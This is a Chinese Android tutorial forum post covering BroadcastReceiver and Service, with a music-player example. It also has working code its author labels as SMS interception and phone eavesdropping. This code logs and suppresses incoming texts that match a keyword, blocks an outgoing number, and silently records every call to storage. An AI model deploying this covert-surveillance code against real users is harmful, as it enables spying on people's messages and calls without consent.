|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
*************************************广播接受者:BroadcastReceiver********************************自定义广播的接收:
定义广播接收的类:package com.example.broadcast_test;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
public class MyBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context arg0, Intent arg1) {
// TODO Auto-generated method stub
Log.i("MyBroadcastReceiver", "MyBroadcastReceiver接收到了广播");
}
}
发送广播:
Intent intent = new Intent("xiaobaima");
intent.setFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES);
intent.putExtra("message", "下课啦");
sendBroadcast(intent);
xml中权限以及接受者的配置:
1.所需权限:
<permission android:name="aaa.bbb.ccc"></permission> <!-自定义权限->
<uses-permission android:name="aaa.bbb.ccc"/> <!-声明权限->
2.接受者的配置:
<receiver android:name="com.example.broadcast_test.MyBroadcastReceiver">
<intent-filter android:priority="100">
<action android:name="xiaobaima"></action>
</intent-filter>
</receiver>
系统广播的接收实现短信的拦截与电话的窃听:
xml中权限与接受者的配置:
1.权限的配置:
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
2.接受者的配置:
<receiver android:name="com.example.broadcast_recevier_test.SmsReceiver"
>
<intent-filter android:priority="1000"> <!--拦截短信的-->
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<receiver android:name="com.example.broadcast_recevier_test.PhoneReceiver">
<intent-filter android:priority="1000"> <!--窃听电话的-->
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
</receiver>
定义短信与电话的广播类进行拦截操作:
1.短信的拦截:
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context arg0, Intent intent) {
// TODO Auto-generated method stub
Log.i("SmsReceiver", "我接收到了系统发来短信!");
Object[] obj = (Object[]) intent.getExtras().get("pdus");
for(Object o : obj)
{
@SuppressWarnings("deprecation")
SmsMessage message = SmsMessage.createFromPdu((byte[]) o);
@SuppressWarnings("deprecation")
String address = message.getOriginatingAddress(); //电话号码
Log.i("SmsReceiver", "号码:" + address);
@SuppressWarnings("deprecation")
String body = message.getMessageBody(); //短信的内容
Log.i("SmsReceiver", "内容:" + body);
if(body.contains("xiaobaima"))
{
abortBroadcast();
}
}
}
}
2.电话的拦截:
public class PhoneReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context arg0, Intent arg1) {
// TODO Auto-generated method stub
String phone = getResultData();
if("1383039".equals(phone)) //如果对方打的是这个电话号码的话,就将它置为空,这样就打不出去电话了
{
Log.i("PhoneReceiver", phone);
setResultData(null);
}
}
}
*************************************服务:Service********************************
音乐播放的实现:
xml中所要的权限以及配置:
1.权限:
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
2.服务的配置:
<service android:name="com.example.service_test.PhoneService"></service> <!--电话窃听的配置-->
<service android:name="com.example.service_test.MusicService"></service> <!--播放音乐的配置-->
3.继承Service类:
public class MusicService extends Service {
private MediaPlayer mediaPlayer;
private int position = 0;
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
Log.i("MusicService","oncreate");
mediaPlayer = MediaPlayer.create(this, R.raw.msc);
mediaPlayer.seekTo(position);
mediaPlayer.start();
TelephonyManager manager = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
manager.listen(new MyPhoneStateListener() , PhoneStateListener.LISTEN_CALL_STATE);
}
private class MyPhoneStateListener extends PhoneStateListener
{
@Override
public void onCallStateChanged(int state, String incomingNumber) {
// TODO Auto-generated method stub
switch(state)
{
case TelephonyManager.CALL_STATE_IDLE:
mediaPlayer.seekTo(position);
mediaPlayer.start();
break;
case TelephonyManager.CALL_STATE_RINGING:
if(mediaPlayer.isPlaying())
{
mediaPlayer.pause();
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
break;
}
}
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
if(mediaPlayer != null)
{
mediaPlayer.stop();
mediaPlayer = null;
}
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
}
值得注意的是:
服务的生命周期是开始的时候会执行oncreate方法然后就是onStartCommand方法,如果再一次执行的话,就不再执行oncreate方法了,直接执行的是:onStartCommand方法;
服务的启动:
首先服务启动实在activity里面启动的它的启动代码是:
Intent intent = new Intent(this, MusicService.class);
startService(intent);
电话窃听的实现:
public class PhoneService extends Service {
private MediaRecorder mediaRecorder;
@Override
public void onCreate() {
// TODO Auto-generated method stub
Log.i("PhoneService", "onCreate()");
TelephonyManager manager = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
manager.listen(new MyPhoneStateListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
private class MyPhoneStateListener extends PhoneStateListener
{
@Override
public void onCallStateChanged(int state, String incomingNumber) {
// TODO Auto-generated method stub
try
{
switch(state)
{
case TelephonyManager.CALL_STATE_IDLE: //电话的空闲状态
if(mediaRecorder != null)
{
mediaRecorder.stop();
mediaRecorder.release();
}
break;
case TelephonyManager.CALL_STATE_RINGING: //响铃状态
File file = new File(Environment.getExternalStorageDirectory() ,
System.currentTimeMillis() + ".3gp");
mediaRecorder = new MediaRecorder(); //实例化媒体录音对象
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //设置麦克风
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //设置输出的格式
mediaRecorder.setOutputFile(file.getAbsolutePath()); //设置输出的文件
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); //设置编码
break;
case TelephonyManager.CALL_STATE_OFFHOOK: //接听状态
if(mediaRecorder != null)
{
mediaRecorder.prepare();
mediaRecorder.start();
}
break;
}
}catch(Exception e)
{
e.printStackTrace();
}
}
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
Log.i("PhoneService","onDestroy()");
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
Log.i("PhoneService","onStartCommand()");
return super.onStartCommand(intent, flags, startId);
}
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
}
启动服务:
Intent intent = new Intent(this, PhoneService.class);
startService(intent);
|
|